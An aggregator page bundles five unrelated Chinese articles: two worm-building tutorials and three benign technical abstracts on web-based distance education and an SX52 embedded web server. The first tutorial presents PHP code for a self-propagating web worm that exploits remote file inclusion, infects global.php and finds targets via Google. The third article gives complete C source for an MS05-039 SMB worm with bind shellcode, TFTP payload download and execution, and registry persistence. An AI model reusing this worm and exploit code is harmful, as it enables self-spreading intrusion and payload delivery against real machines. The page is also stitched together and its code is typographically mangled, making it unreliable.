一个web蠕虫的简单实现

时间:2022-08-30 07:52:56 其他范文 收藏本文 下载本文

一个web蠕虫的简单实现(精选5篇)由网友“逆行23”投稿提供,以下是小编整理过的一个web蠕虫的简单实现,欢迎阅读与收藏。

一个web蠕虫的简单实现

篇1:一个web蠕虫的简单实现

FreeXploiT

本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛,

在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓 的后门,鄙视!

所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

一 、需要的程序漏洞

php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:

@include $page;

?>

其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我们可以在其中将变量定义为我们的一个文件如www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只要简单的GET这个页面:Iam_vul.php?page=www.defence80.com/worm.txt 就可以让worm.txt内容在网站执行:)

二 感染

我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:

@include “www.defence80.com/worm.txt”;

?>

当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:

{

fputs(fopen('worm.txt','a+'),'I am a worm!');

fputs(fopen('global.php','a+'),'

}

?>

这样这个网站就被我们寄生了:)

三 传播

传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的壮大使着变得可能,

假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这个攻击代码是会 入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这里简单的考虑目标的选取和个数的确定:

$random = rand(0, 30);

$random = 10*$random; //随机取0-300之间的数目,我这里是作为示例:)

$query = 'Iam_vul.php'; //关键字

$url = “www.google.com/search?q=”.$query.&q ... r=&start=“.$random;

if($contents=@file_get_contents($url)) //取得Google页面的返回

{

$pattern=”|

@preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);

for($i=0;$i<@count($regArr);$i++) {

$site=@preg_replace

(“/Iam_vul.php(.*)$/i”,'',$regArr[$i][1]); //处理生成结果,可以考虑修改感染个数

@file_get_contents

($site.“Iam_vul.php?page=www.defence80.com/worm.txt”); //攻击目标网站,的确就这么简单

}

}

?>

能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

四 如何控制?

精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

五 总结

精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意的蠕虫去尝试修复漏洞或者提醒管理员呢?再次鄙视那些写没有思想只写垃圾工具的废物!完毕!

篇2:基于Web 的远程教育系统的实现

基于Web 的远程教育系统的实现

基于Web 的远程教育系统的实现

冉    清                         刘   莹

(广东南海大沥佛山科学技术学院北院信息中心)   (广东华南理工大学电信学院)

摘  要 本文分析了远程教育系统的基本模式及其组成和功能,并探讨了如何实现基于Web的远程教育系统,给出了初步的实施方案。

关键词 远程教育,万维网(WWW),计算机网络

远程教育(Distance Education)是计算机技术和多媒体技术相结合的新一代教育方式。利用远程教育,可突破传统教育在教育资源(师资、教材、实验和演示设备)和教育方法(统一进度、集中式和单向传授等)方面的限制,实现教育资源和教育方法不受时间和空间等约束的共享,而受教育者则可根据自己的业务水平和时间情况安排自己的学习计划和学习进度,实现传统教育无法做到的“个性化教育”。因此远程教育是普及教育、继续教育和岗位培训的一种十分有效的方式。

计算机技术和网络技术,特别是Internet的广泛应用和普及,是促成远程教育方式形成和发展的根本原因之一。近几年来,计算机网络在我国得到了飞速的'发展,中国教育科研网(CERNET)及其它一些网络的开通,以及以程控交换机为基础的公共电话网的普及率的不断提高,这些都为开展远程教育系统提供了有利的基础条件。

篇3:Ms05039蠕虫的VC实现病毒防范

文章作者:张戈(nickchang)

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

今年8月的新蠕虫狙击波利用了ms05039 PnP服务漏洞, 因为ms05039的exploit在网上是公开的,请见www.eviloctal.com/forum/htm_data/10/0508/13433.html, 可以利用这个exploit得到对方主机(win2k)的shell, 所以用这个exploit做一个蠕虫并不难,

声明:本文出于教学目的,修改导致任何后果与作者无关

实现的思路是,先在本机建立一个tftp服务器,然后得到局域网各个机器的ip地址,(不想惹麻烦,没有加上生成随机地址的代码,所以不会在公网上传播),然后逐个溢出,得到shell,再发送命宁,让对方主机用TFTP从本机下载3个文件,一个蠕虫文件,一个tftp服务端,一个payload文件。(思路来自Malware-fighting malicious code一书,作者比喻这种方式是搬家式的蠕虫,因为除了蠕虫自己以外,还需要把环境复制到对方主机中)。然后再发送命宁让对方主机执行蠕虫文件。执行时,先产生一个互斥量,确保只有一个蠕虫进程在机器上运行,然后写入注册表,实现下次开机自启动,再后面的过程就和开头一样了,如此反复循环。

以下是代码,winxp+vc6.0下编译通过, 注意目标主机只对win2k有效

声明:代码中精华部分是.::[ houseofdabus ]::.的exploit。

//这个是shellcode.h

///********************************************************

//以下shell code是.::[ houseofdabus ]::.的ms05039溢出exploit

//用于buffer overflow,是蠕虫的精华部分

//*********************************************************

/* #define _WIN32 */

#include

#include

#include

#ifdef _WIN32

#include

#pragma comment(lib, “ws2_32”)

#else

#include

#include

#include

#include

#endif

char SMB_Negotiate[] =

“x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE”

“x00x00x00x00x00x62x00x02x50x43x20x4Ex45x54x57x4F”

“x52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02”

“x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6F”

“x77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70”

“x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30”

“x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54”

“x20x4Cx4Dx20x30x2Ex31x32x00”;

char SMB_SessionSetupAndX[] =

“x00x00x00xA4xFFx53x4Dx42x73x00x00x00x00x18x07xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE”

“x00x00x10x00x0CxFFx00xA4x00x04x11x0Ax00x00x00x00”

“x00x00x00x20x00x00x00x00x00xD4x00x00x80x69x00x4E”

“x54x4Cx4Dx53x53x50x00x01x00x00x00x97x82x08xE0x00”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”

“x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00”

“x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00”

“x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00”

“x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00”

“x2Ex00x30x00x00x00x00x00”;

char SMB_SessionSetupAndX2[] =

“x00x00x00xDAxFFx53x4Dx42x73x00x00x00x00x18x07xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE”

“x00x08x20x00x0CxFFx00xDAx00x04x11x0Ax00x00x00x00”

“x00x00x00x57x00x00x00x00x00xD4x00x00x80x9Fx00x4E”

“x54x4Cx4Dx53x53x50x00x03x00x00x00x01x00x01x00x46”

“x00x00x00x00x00x00x00x47x00x00x00x00x00x00x00x40”

“x00x00x00x00x00x00x00x40x00x00x00x06x00x06x00x40”

“x00x00x00x10x00x10x00x47x00x00x00x15x8Ax88xE0x48”

“x00x4Fx00x44x00x00xEDx41x2Cx27x86x26xD2x59xA0xB3”

“x5ExAAx00x88x6FxC5x57x00x69x00x6Ex00x64x00x6Fx00”

“x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00”

“x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00”

“x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00”

“x30x00x20x00x35x00x2Ex00x30x00x00x00x00x00”;

char SMB_TreeConnectAndX[] =

“x00x00x00x5AxFFx53x4Dx42x75x00x00x00x00x18x07xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE”

“x00x08x30x00x04xFFx00x5Ax00x08x00x01x00x2Fx00x00”;

char SMB_TreeConnectAndX_[] =

“x00x00x3Fx3Fx3Fx3Fx3Fx00”;

/* browser */

char SMB_PipeRequest_browser[] =

“x00x00x00x66xFFx53x4Dx42xA2x00x00x00x00x18x07xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x08x78x04”

“x00x08x40x00x18xFFx00xDExDEx00x10x00x16x00x00x00”

“x00x00x00x00x9Fx01x02x00x00x00x00x00x00x00x00x00”

“x00x00x00x00x00x00x00x00x01x00x00x00x40x00x00x00”

“x02x00x00x00x03x13x00x00x5Cx00x62x00x72x00x6Fx00”

“x77x00x73x00x65x00x72x00x00x00”;

char SMB_PNPEndpoint[] =

/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */

“x00x00x00x9CxFFx53x4Dx42x25x00x00x00x00x18x07xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x08x78x04”

“x00x08x50x00x10x00x00x48x00x00x00x00x10x00x00x00”

“x00x00x00x00x00x00x00x00x00x54x00x48x00x54x00x02”

“x00x26x00x00x40x59x00x00x5Cx00x50x00x49x00x50x00”

“x45x00x5Cx00x00x00x40x00x05x00x0Bx03x10x00x00x00”

“x48x00x00x00x01x00x00x00xB8x10xB8x10x00x00x00x00”

“x01x00x00x00x00x00x01x00x40x4Ex9Fx8Dx3DxA0xCEx11”

“x8Fx69x08x00x3Ex30x05x1Bx01x00x00x00x04x5Dx88x8A”

“xEBx1CxC9x11x9FxE8x08x00x2Bx10x48x60x02x00x00x00”;

char RPC_call[] =

“x00x00x08x90xFFx53x4Dx42x25x00x00x00x00x18x07xC8”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x08x78x04”

“x00x08x60x00x10x00x00x3Cx08x00x00x00x01x00x00x00”

“x00x00x00x00x00x00x00x00x00x54x00x3Cx08x54x00x02”

“x00x26x00x00x40x4Dx08x00x5Cx00x50x00x49x00x50x00”

“x45x00x5Cx00x00x00x40x00x05x00x00x03x10x00x00x00”

“x3Cx08x00x00x01x00x00x00x24x08x00x00x00x00x36x00”

“x11x00x00x00x00x00x00x00x11x00x00x00x52x00x4Fx00”

“x4Fx00x54x00x5Cx00x53x00x59x00x53x00x54x00x45x00”

“x4Dx00x5Cx00x30x00x30x00x30x00x30x00x00x00x00x00”

“xFFxFFx00x00xE0x07x00x00x00x00x00x00x00x00x00x00”

“xC0x07x00x00x00x00x00x00x90x90x90x90x90x90x90x90”

“xEBx08x90x90x67x15x7ax76xEBx08x90x90x67x15x7ax76”

“xEBx08x90x90x67x15x7ax76xEBx08x90x90x67x15x7ax76”

“xEBx08x90x90x67x15x7ax76xEBx08x90x90x67x15x7ax76”

“xEBx08x90x90x67x15x7ax76xEBx08x90x90x67x15x7ax76”

/* jmp over - entry point */

“xEBx08x90x90”

/* pop reg; pop reg; retn; - umpnpmgr.dll */

“x67x15x7ax76” /* 0x767a1567 */

/* jmp ebx - umpnpmgr.dll

“x6fx36x7ax76” */

“xEBx08x90x90x67x15x7ax76”

“x90x90x90x90x90x90x90xEBx08x90x90x48x4Fx44x88x90”

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”;

char RPC_call_end[] =

“xE0x07x00x00x04x00x00x00x00x00x00x00”;

char bind_shellcode[] =

“x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x19”

“xf5x04x37x83xebxfcxe2xf4xe5x9fxefx7axf1x0cxfbxc8”

“xe6x95x8fx5bx3dxd1x8fx72x25x7ex78x32x61xf4xebxbc”

“x56xedx8fx68x39xf4xefx7ex92xc1x8fx36xf7xc4xc4xae”

“xb5x71xc4x43x1ex34xcex3ax18x37xefxc3x22xa1x20x1f”

“x6cx10x8fx68x3dxf4xefx51x92xf9x4fxbcx46xe9x05xdc”

“x1axd9x8fxbex75xd1x18x56xdaxc4xdfx53x92xb6x34xbc”

“x59xf9x8fx47x05x58x8fx77x11xabx6cxb9x57xfbxe8x67”

“xe6x23x62x64x7fx9dx37x05x71x82x77x05x46xa1xfbxe7”

“x71x3exe9xcbx22xa5xfbxe1x46x7cxe1x51x98x18x0cx35”

“x4cx9fx06xc8xc9x9dxddx3execx58x53xc8xcfxa6x57x64”

“x4axa6x47x64x5axa6xfbxe7x7fx9dx1ax55x7fxa6x8dxd6”

“x8cx9dxa0x2dx69x32x53xc8xcfx9fx14x66x4cx0axd4x5f”

“xbdx58x2axdex4ex0axd2x64x4cx0axd4x5fxfcxbcx82x7e”

“x4ex0axd2x67x4dxa1x51xc8xc9x66x6cxd0x60x33x7dx60”

“xe6x23x51xc8xc9x93x6ex53x7fx9dx67x5ax90x10x6ex67”

“x40xdcxc8xbexfex9fx40xbexfbxc4xc4xc4xb3x0bx46x1a”

“xe7xb7x28xa4x94x8fx3cx9cxb2x5ex6cx45xe7x46x12xc8”

“x6cxb1xfbxe1x42xa2x56x66x48xa4x6ex36x48xa4x51x66”

“xe6x25x6cx9axc0xf0xcax64xe6x23x6exc8xe6xc2xfbxe7”

“x92xa2xf8xb4xddx91xfbxe1x4bx0axd4x5fxf6x3bxe4x57”

“x4ax0axd2xc8xc9xf5x04x37”;

#define SET_PORTBIND_PORT(buf, port)

*(unsigned short *)(((buf)+186)) = (port)

//这个是worm.cpp

// worm.cpp : Defines the entry point for the application.

//

#include “stdafx.h”

#include “stdafx.h”

#include “shellcode.h”

#include

#include

#include

void convert_name(char *out, char *name)

{

unsigned long len;

len = strlen(name);

out += len * 2 - 1;

while (len--) {

*out-- = 'x00';

*out-- = name[len];

}

}

//********************************************************

//GetShell是.::[ houseofdabus ]::.写的ms05039溢出exploit

//可以得到远程win2k主机的shell,是蠕虫的精华部分

//*********************************************************

int GetShell(char* IP_address)

{

struct sockaddr_in addr;

struct hostent *he;

int len;

int sockfd;

unsigned short smblen;

unsigned short bindport;

char tmp[1024];

char packet[4096];

char *ptr;

char recvbuf[4096];

#ifdef _WIN32

WSADATA wsa;

WSAStartup(MAKEWORD(2,0), &wsa);

#endif

if ((he = gethostbyname(IP_address)) == NULL) {

return 1;

}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

return 1;

}

addr.sin_family = AF_INET;

addr.sin_port = htons(445);

addr.sin_addr = *((struct in_addr *)he->h_addr);

memset(&(addr.sin_zero), '', 8);

if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {

return 1;

}

if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {

return 1;

}

len = recv(sockfd, recvbuf, 4096, 0);

if ((len <= 10) || (recvbuf[9] != 0)) {

;

return 1;

}

if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {

return 1;

}

len = recv(sockfd, recvbuf, 4096, 0);

if (len <= 10) {

return 1;

}

if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {

return 1;

}

len = recv(sockfd, recvbuf, 4096, 0);

if ((len <= 10) || (recvbuf[9] != 0)) {

return 1;

}

ptr = packet;

memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);

ptr += sizeof(SMB_TreeConnectAndX)-1;

sprintf(tmp, “\\%s\IPC$”, IP_address);

convert_name(ptr, tmp);

smblen = strlen(tmp)*2;

ptr += smblen;

smblen += 9;

memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);

ptr += sizeof(SMB_TreeConnectAndX_)-1;

smblen = ptr-packet;

smblen -= 4;

memcpy(packet+3, &smblen, 1);

if (send(sockfd, packet, ptr-packet, 0) < 0) {

return 1;

}

len = recv(sockfd, recvbuf, 4096, 0);

if ((len <= 10) || (recvbuf[9] != 0)) {

return 1;

}

if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {

return 1;

}

len = recv(sockfd, recvbuf, 4096, 0);

if ((len <= 10) || (recvbuf[9] != 0)) {

return 1;

}

if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {

return 1;

}

len = recv(sockfd, recvbuf, 4096, 0);

if ((len <= 10) || (recvbuf[9] != 0)) {

return 1;

}

// nop

ptr = packet;

memset(packet, 'x90', sizeof(packet));

// header & offsets

memcpy(ptr, RPC_call, sizeof(RPC_call)-1);

ptr += sizeof(RPC_call)-1;

// shellcode

bindport = 7777;

bindport ^= 0x0437;

SET_PORTBIND_PORT(bind_shellcode, htons(bindport));

memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

// end of packet

memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,

RPC_call_end,

sizeof(RPC_call_end)-1);

// sending...

if (send(sockfd, packet, 2196, 0) < 0) {

return 1;

}

return 0;

}

//*******************************************************

//繁殖复制 by nick chang

//********************************************************

int propagate(char *IP_address)

{

struct sockaddr_in addr;

struct hostent *he;

int sockfd;

char recvbuf[4096];

#ifdef _WIN32

WSADATA wsa;

WSAStartup(MAKEWORD(2,0), &wsa);

#endif

char szHostname[256];

char *pszAddr;

struct hostent *pHost;

//得到本机的IP地址

if(gethostname(szHostname,sizeof(szHostname))==0)

{

pHost=gethostbyname(szHostname);

if(pHost)

pszAddr=inet_ntoa(*(struct in_addr *) pHost->h_addr_list[0]);

}

//发送3传送文件命令,让远程主机从本机取3个文件

//tftpd32是tftp的服务端,即在每个受害主机上建立一个tftp服务器

//worm 就是这个蠕虫文件本身了

//payload就是一个负载文件,可以是后门,也可以是ddos的客户端

char sendserver[40];

char sendworm[40];

char sendpayload[40];

sprintf(sendserver,“tftp -i %s GET tftpd32.exen”,pszAddr);

sprintf(sendworm,“tftp -i %s GET worm.exen”,pszAddr);

sprintf(sendpayload,“tftp -i %s GET payload.exen”,pszAddr);

if ((he = gethostbyname(IP_address)) == NULL) {

return 1;

}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

return 1;

}

addr.sin_family = AF_INET;

addr.sin_port = htons(7777);

addr.sin_addr = *((struct in_addr *)he->h_addr);

memset(&(addr.sin_zero), '', 8);

if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {

return 1;

}

recv(sockfd, recvbuf, 4096, 0);

//向远方主机发送3个取文件的命宁

if (send(sockfd, sendserver, strlen(sendserver), 0) < 0) {

return 1;

}

Sleep(500);

if (send(sockfd, sendworm, strlen(sendworm), 0) < 0) {

return 1;

}

Sleep(500);

if (send(sockfd, sendpayload, strlen(sendpayload), 0) < 0) {

return 1;

}

Sleep(500);

//向远方主机发送执行蠕虫的命宁

if (send(sockfd, “start ee.exen”, strlen(“start worm.exen”), 0) < 0) {

return 1;

}

Sleep(500);

if (send(sockfd, “ee.exen”, strlen(“worm.exen”), 0) < 0) {

return 1;

}

return 0;

}

//*****************************************************

//蠕虫线程,得到shell和复制by nick chang

//******************************************************

DWORD WINAPI Attack(LPVOID p)

{

int ret;

char *IP_address = (char *)p;

if((ret=GetShell(IP_address))== 0)

propagate(IP_address);

return 0;

}

//********************************************************

//假设mask 255.255.255.0 by nick chang

//*********************************************************

void gethost(char* pszAddr)

{

int i=0;

int j=0;

while(i!=3)

{

if(pszAddr[j] == '.')

i++;

j++;

}

pszAddr[j] = '';

}

//********************************************************

//主程序by nick chang

//********************************************************

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int  nCmdShow)

{

char szHostname[256];

char *pszAddr;

struct hostent *pHost;

WORD wVersionRequested;

WSADATA wsaData;

int err;

wVersionRequested = MAKEWORD( 2, 2 );

err = WSAStartup( wVersionRequested, &wsaData );

//创建一个互斥量,确保只有一个蠕虫在运行

HANDLE m_hMutex = CreateMutex(NULL, NULL, “wormmutex”);

if(GetLastError==ERROR_ALREADY_EXISTS)

{

return 1;

}

//执行 payload

for(int i =0; i<20;i++)

ShellExecute(NULL,“open”,“payload.exe”,“”,“”, SW_SHOW );

//运行tftp服务

ShellExecute(NULL,“open”,“tftpd32.exe”,“”,“”, SW_HIDE );

DWORD dwThreadID;

//写入注册表,开机时自动运行蠕虫

HKEY hKey;

char path[] = “c:\winnt\system32\worm.exe”;

char data_Set[] = “Software\Microsoft\Windows\CurrentVersion\Run”;

int   len = strlen(path);

RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);

RegSetValueEx(hKey,NULL,NULL,REG_SZ,(LPBYTE)path,len);

RegCloseKey(hKey);

//得到自己的地址

if(gethostname(szHostname,sizeof(szHostname))==0)

{

pHost=gethostbyname(szHostname);

if(pHost)

pszAddr=inet_ntoa(*(struct in_addr *) pHost->h_addr_list[0]);

}

while(1)

{

//由自己的地址穷举局域网里的其他机器的地址,假设mask255.255.255.0

for(int i=1 ; i<255; i++)

{

gethost(pszAddr);

sprintf(pszAddr,“%s%i”,pszAddr,i);

//以这个地址创造攻击线程

CreateThread(NULL,0,Attack,pszAddr,0,&dwThreadID);

Sleep(500);

}

Sleep(30000);//停一段时间在攻击,以免对方直接crash.

}

return 0;

}

在学校实验室测试通过,payload我用了一个毛毛虫的桌面宠物,结果机房里面的机器屏幕上爬满了毛毛虫,

。。。。

声明:本人是菜鸟,代码质量不高,有写的不对的地方,请各位高手多多指教

nickchang918@hotmail.com

篇4:基于Web的网络课程的实现方法

基于Web的网络课程的实现方法

谢嵘

(华中师范大学计算机科学系,邮编:430079)

摘要  本文分析比较了当前较为常见的几种网络课程的表现手法,介绍了在实际开发中表现网络课程的工作流程和实现方式,并提出了应该注意的几个问题。

关键词  Web 网络课程 工作流程 实现方法

1. 网络课程现有的授课模式

我国的远程教育始于二十世纪六十年代,以电视录像、收音机广播为主要实现手段。九十年代以来,随着信息技术和因特网的广泛应用,基于Web的远程教育已成为教育领域的国际发展趋势,我国也推出了基于因特网的远程教育计划。

目前,国内各大高校远程教育的实现方法大致可分为以下种:

・录像式,即录制下教师授课的全过程, 以视频点播的形式提供给学生;

・电子图书式,即将教材制成文本,以电子图书的方式提供给学生;

・CAI课件,即以Authorware等工具制作成的CAI课件的方式提供给学生;

・以网页的形式提供给学生。

由于受到因特网、带宽的影响,在因特网上传送体积较大的视频时极易出现视频不连续,声音和视频不同步的情况,因此,如果将视频教学作为主要的教学手段,其教学效果肯定会受到一定影响。电子图书由于体积小,在传输上完全可以符合要求,但不足之处是它没有声音、图像的配合,学生在学习中会感到枯燥无味。用Authorware等工具制成的课件不仅美观而且交互性较好,还可以配合声音、图像、视频等,是制作单机上运行的学习软件的首选,不足之处也是体积太大,不利于网上传输。比较而言,将学习的课程制成网页的形式,既可配合文字、声音、图片、动画、视频,又美观实用,最重要的是它体积小,非常适于网上浏览学习。

2.几种相关技术

开发网上课件的几个关键技术是:Web数据库访问技术、动态页面制作技术、多媒体信息传输技术、虚拟现实技术。众所周知,HTTP(超文本传输协议)和HTML(超文本标记语言)两大技术为网页的传送与设计做出了不朽的贡献,但仅用HTML语言只能开发出静态、不能进行交互的网页。为了制作出具有交互式、动态、高效的网页必须依靠数据库技术的支持。目前访问远程数据库的技术有多种,如CGI、ASP、PHP。

CGI(Common Gateway Interface)是最早能访问Web数据库的技术,其技术规范一度成了通用的标准,但最大的缺点是:当站点访问人数激增时,速度慢与效率低。为了克服CGI的不足,微软和网景分别推出了改进的`CGI――ISAPI和NSAPI技术,统称为Web服务器(Application Program Interface)。API技术在速度上提升很大,一度曾被多数大型网站采用,但不足的是:程序编写复杂、数据库功能弱,且只能用于特定的Web服务器。新一代的ASP(Active Server Pages)技术是微软将高效能的ISAPI与简洁的JavaScript和VBScript相结合的产物,其特点是运行速度快、数据库操作功能强大等,不足是只能运行于个别平台。PHP(Personal Homepage)作为一种跨平台(可在UNIX、LINUX或Windows上运行)的网页制作技术,其最大特色是对数据库层操作的功能强大、且操作简单。

网上课件的开发离不开课件资源数据库,因此Web服务器与课件资源数据库服务器之间的连接是开发网上课件的关键技术。目前基于Web的课件开发广泛使用了B/S模式,如图1所示,图中给出了用以上几种技术访问Web数据库的逻辑连接方式。该模式是一种基于Web访问的计算模型,也叫Browser/Server(浏览/服务器)模式,简称B/S模式。该模式由客户端(Web浏览器)、Web浏览器、课件数据库服务器三层分布结构组成,结构的核心部分是Web服务器,它可通过CGI、API、ASP、PHP等几种技术方案与课件资源数据库服务器传递信息,课件资源数据库服务器存放所有课件的媒体数据。

篇5:基于SX52的嵌入式Web服务器的快速实现

摘要:介绍了如何利用现有软件虚拟模拟高效构筑可现场控制的嵌入式Web服务器,一些方法也可用于其他资源有限的小型嵌入式网络设备中。

关键词:单片机 嵌入式系统 Internet Web服务器

随着互联网的日益普及,信息共享的程度不断提高,网络仪表及网络控制设备的流行逐渐成为趋势。如何通过互联网共享以单片机应用系统为中心的小型嵌入式设备的信息,成为当今电子界的热门话题。传统的互联网应用以PC为中心。如今,互联网应用正在转到以嵌入式设备为中心。用单片机实现嵌入式互联网方案的技术难点是:如何利用单片机本身有限的资源对信息进行TCP/IP协议处理,使之变成可以在互联网上传输的IP数据包。目前解决这个问题有两种方案:一种是PC网关+专用网,缺点是要增加布线和第三方协议转换软件;另一种是32位MCU+RTOS,弊端是开发难,成本极高。而用软件方法实现网络协议比采用集成网络协议的芯片,具有节省空间、降低成本的优点,更重要的是可以随意配置甚至修改各种协议,且能通过软件升级方式跟随未来的发展。八位单片机目前仍占有很大的市场份额,而通过美国Ubicom公司的SX52微控器进行网络控制更具其独特优势,主要体现在:(1)速度快,在100MHz频率下能达到100MIPS;(2)现成的协议模块供使用,即使对不熟悉网络协议的开发人员也能简单套用。虽然其它八位单片机也能用软件实现精简的TCP/IP协议,如PICl6C76等,但上面所说两大优点是采用SX52MCU的充分理由。套用成熟的现有程序是最具效率的开发办法,这也是避免目前国内普遍存在的低水平开发的有效途径。虽然目前还没有单独的TCP/IP软件虚拟模块提供,但在演示板程序的基础上,可以采用其成功的网络协议模块和一些适用于小型嵌入系统的做法构筑现场控制Web服务器。

1 SX52控制器简介

SX52 MCU与PIC单片机有很多地方相似,它也采用RISC指令系统,带可擦写上万次的片上Flash程序存储器,具在系统编程等。SX52的流水线指令操作可1个时钟周期执行一条指令。没有中断嵌套使中断响应时间固定为3个时钟周期,适用于一些要求强实时性的系统。5个可驱动30mA电流的I/O口可自由设置为TI'L或CMOS输入电子,262×8bit的SRAM数据空间,4096×12bit的EE/Flash程序空间。内部集成有模拟比较器、定时器、捕捉/PWM比较器、欠压检测、看门狗等多种功能部件。具有三个特殊器件配置寄存器,其长度分别为12位,(FUSE、FUSEX、DEVICE),硬件配置灵活多样,加密性能好,能有效地防止产品被盗版或仿制的可能性。已提供的软件虚拟模块有UART、A/D、DTMF、PWM、FSK、IRDA、VC等众多常用功能块。应用微控器用软件方法替代硬件功能是一大特色,可以避免一些常用功能的重复开发。

(本网网收集整理)

2 联网的实现

对于资源紧缺的小型嵌入系统,一般都要对TCP/IP协议族做一些精简处理。Wing Poon等提供的演示板程序集合了如下模块:ARP、DHCP、ICMP的echo响应,精简的TCP/IP、HTYP、SMTP等;还可以看到应用了I2C以及∑-△A/D的软件虚拟模块。由于程序空间的限制,当实现DHCP时,只能用SMTP。底层采用8019AS网络接口芯片。网页通过12C存储于24C256中,中断程序可用于A/D虚拟模块的计数及TCP/IP协议族的各个定时器。

